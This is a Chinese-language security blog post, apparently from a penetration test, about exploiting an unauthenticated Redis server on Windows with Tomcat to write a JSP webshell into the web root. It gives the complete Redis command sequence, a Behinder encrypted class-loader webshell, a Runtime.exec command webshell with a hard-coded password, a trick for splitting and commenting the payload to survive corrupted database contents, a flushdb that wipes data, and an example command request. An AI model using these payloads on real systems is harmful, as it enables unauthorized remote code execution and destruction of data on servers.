Windows和Java环境下的redis未授权利用

admin 2024年7月1日18:17:45评论4 views字数 3974阅读13分14秒阅读模式

起因    

在一次渗透测试过程中扫描到了一个redis未授权,但是是windows环境,并且只能解析jsp文件

Windows和Java环境下的redis未授权利用

通过扫描结果可以看出来redis没有密码,并且知道了他的web目录

D:Software-Applytomcatapache-tomcat-9.0.89webappsROOT

这里我就像利用linux和php环境那样,上传了冰蝎的马子,操作如下:

# 连接redis
redis-cli -h 127.0.0.1

# 进入web目录
CONFIG SET dir D:Software-Applytomcatapache-tomcat-9.0.89webappsROOT

# 设置文件名称
CONFIG SET dbfilename shell.jsp

# 配置内容
set x '<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'

# 保存
save

访问冰蝎马子直接报错

Windows和Java环境下的redis未授权利用

刚开始我一直以为是因为马子太长的原因,然后我找师傅要了几个一句话的木马,试了试还是报错。我重新将木马上传了一遍。不过将后缀改成了shell.txt,将我上传的文件直接下载下来了。

一看竟然全是乱码,打乱了jsp的顺序,这能执行才怪。

Windows和Java环境下的redis未授权利用

于是我开始在google上查资料,并没有查到什么,这时候我请求了我的师傅,一下就解决了问题。

操作记录

师傅直接甩了一个链接给我,看了之后直接茅塞顿开,废话不多说直接开始操作

关于乱码

是因为其他库里还存在键值数据,我一直以为save只对当前 select 所操作的数据库有效,没想到是整个数据库都被写入了。因为其他数据库的部分键值中存在着一些Java代码和一些乱码字符,所以导致我写入的jsp要么没写进去要么就一直报错。

因为其中一台Redis的数据库东西比较少,都是些缓存数据,所以我就直接 flushdb 把它清空了 (文章后面会给一个更好的解决办法,避免有时候存在重要的数据不方便清空但是脏数据的存在又影响写shell)。

Windows和Java环境下的redis未授权利用

然后先写一个简单jsp代码看一下是否能执行成功。

/r/n/r/n<% out.println("Hello World"); %>/r/n/r/n

Windows和Java环境下的redis未授权利用

Windows和Java环境下的redis未授权利用

接下来写个马子,这是这次用的马子。

<%
if ("023".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.println(new String(b));
}
out.print("</pre>");
}

%>

清除缓存数据后,直接写入马子

Windows和Java环境下的redis未授权利用

访问发现还是500,jsp还是没有正常运行

Windows和Java环境下的redis未授权利用

我将文件后缀改成txt下载下来,查看木马中还是穿插这乱码。

Windows和Java环境下的redis未授权利用

查了很多资料,发现一个Redis在Windows + Java环境下写shell的方法,同时也可以在避免flushdb数据库的情况下解决脏数据的影响。从单纯的printIn一个hello world来看,较短的payload看起来似乎没有问题,那么我们可以尝试将较长的payload分解为多个较短的payload,这样有可能避免payload在传输过程中被污染。拆分的方法很简单,只需设置多个键值对,那么如何让他们再拼接合成呢?

将代码拆分一下重新上传

set x '<% if ("023".equals(request.getParameter("pwd"))) {'
set x2 'java.io.InputStream in = Runtime.getRuntime().exec('
set x3 'request.getParameter("i")).getInputStream();'
set x4 'int a = -1;'
set x5 'byte[] b = new byte[2048];'
set x6 'out.print("<pre>");'
set x7 'while ((a = in.read(b)) != -1) {'
set x8 'out.println(new String(b));}'
set x9 'out.print("</pre>");}%>'
save

Windows和Java环境下的redis未授权利用

访问还是500,继续将文件后缀改成.txt下载下来,发现代码顺序错了,并且还有乱码穿插在中间

Windows和Java环境下的redis未授权利用

简单调整了一下文件,可以看到他并没有按照x,x1,x2,x3这样的顺序进行存储的,他是按照下面这样的顺序进行插入的。每个redis插入的顺序都不同,需要自己去分析。

x8 x4 x x3 x7 x9 x2 x5 x6

Windows和Java环境下的redis未授权利用

问题解决

按照x8 x4 x x3 x7 x9 x2 x5 x6重新调成一下我们插入的顺序如下:

源数据

set x 'request.getParameter("i")).getInputStream();'
set x2 'while ((a = in.read(b)) != -1) {'
set x3 'int a = -1;'
set x4 'java.io.InputStream in = Runtime.getRuntime().exec('
set x5 'out.println(new String(b));}'
set x6 'out.print("</pre>");}%>'
set x7 'byte[] b = new byte[2048];'
set x8 '<% if ("023".equals(request.getParameter("pwd"))) {'
set x9 'out.print("<pre>");'
save

并且需要过滤到代码中间穿插的脏数据,这里使用/**/注释符进行过滤,如下:

修改后的数据

set x '*/request.getParameter("i")).getInputStream();/*'
set x2 '*/while ((a = in.read(b)) != -1) {/*'
set x3 '*/int a = -1;/*'
set x4 '*/java.io.InputStream in = Runtime.getRuntime().exec(/*'
set x5 '*/out.println(new String(b));}/*'
set x6 '*/out.print("</pre>");}%>'
set x7 '*/byte[] b = new byte[2048];/*'
set x8 '/r/n/r/n<% if ("023".equals(request.getParameter("pwd"))) {/*'
set x9 '*/out.print("<pre>");/*'
save

进行写入webshell,最终的操作命令如下:

flushdb

CONFIG SET dir D:Software-Applytomcatapache-tomcat-9.0.89webappsROOT

CONFIG SET dbfilename shelltest.jsp

set x '*/request.getParameter("i")).getInputStream();/*'
set x2 '*/while ((a = in.read(b)) != -1) {/*'
set x3 '*/int a = -1;/*'
set x4 '*/java.io.InputStream in = Runtime.getRuntime().exec(/*'
set x5 '*/out.println(new String(b));}/*'
set x6 '*/out.print("</pre>");}%>'
set x7 '*/byte[] b = new byte[2048];/*'
set x8 '/r/n/r/n<% if ("023".equals(request.getParameter("pwd"))) {/*'
set x9 '*/out.print("<pre>");/*'

save

访问webshell,没有报错500了,说明成功执行jsp文件了

Windows和Java环境下的redis未授权利用

执行命令

http://127.0.0.1:8080/shelltest.jsp?pwd=023&i=ipconfig

Windows和Java环境下的redis未授权利用

我们来查看下成功的shell文件,这样看的不是很清楚。

Windows和Java环境下的redis未授权利用

简单处理一下,顺序都对了,脏数据也被/**/注释符进行注释了,完美解决。

Windows和Java环境下的redis未授权利用

参考链接

https://cloud.tencent.com/developer/article/2422977


原文始发于微信公众号(NullError Sec):Windows和Java环境下的redis未授权利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月1日18:17:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows和Java环境下的redis未授权利用http://cn-sec.com/archives/2906086.html

发表评论

匿名网友 填写信息